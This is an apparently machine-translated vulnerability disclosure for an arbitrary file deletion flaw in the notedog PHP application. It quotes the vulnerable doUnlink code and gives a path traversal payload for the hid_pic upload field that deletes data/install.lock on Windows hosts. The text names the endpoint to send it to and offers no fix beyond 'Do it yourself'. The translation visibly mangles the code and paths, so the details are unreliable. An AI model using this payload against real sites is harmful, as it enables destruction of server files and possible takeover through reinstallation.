Delete any file of the notedog

In the previous article, arbitrary files were deleted: Accidental blind injection and arbitrary file deletion.

Condition of exploits:

1. Only windows hosts are supported. linux is invalid (at least I can't use this machine)
2. Registered users
3. The files to be deleted can be read and written.

In modules/ajax/event. mod. php

Www.2cto.com
# Protective image Deletion

Function doUnlink ($ pic ){
If (! $ Pic) return false;
$ Type = trim (strtolower (end (explode (".", $ pic ))));
$ Exp = '././images/event/[0-9] {10}'. MEMBER_ID. '_ B.'. $ type;
If (ereg ($ exp, $ pic )){
Unlink ($ pic );
Unlink (strtr ($ pic, '_ B.', '_ s .'));
Return true;
} Else {
Return false;
}
}

This function is called in onloadPic.

If ($ _ FILES ['pic '] ['name']) {
// Omit .....................
$ Hid_pic = $ this-> Post ['hid _ pic '];
$ Eid = (int) $ this-> Post ['id'];
$ This-> doUnlink ($ hid_pic, $ eid );
// Omitted .............
}

As long as $ _ FILES ['pic '] ['name'] is not empty, we can construct hid_pic.
The contents of hid_pic are:
. /. /Images/event/1234567890 {MEMBER_ID} _ B. {Suffix of the file you want to delete }/.. /.. /.. /{file to be deleted}

For example, if we want to delete the./data/install. lock file, and my MEMBER_ID is 2, then:
././Images/event/12345678902_ B .lock/..././data/install. lock

Local test successful
Actual use:
In index. php? Mod = event & code = pevent
Upload the captured packets and enter././images/event/12345678902_ B .lock/.../../data/install. lock under hid_pic.

Solution:
Do it yourself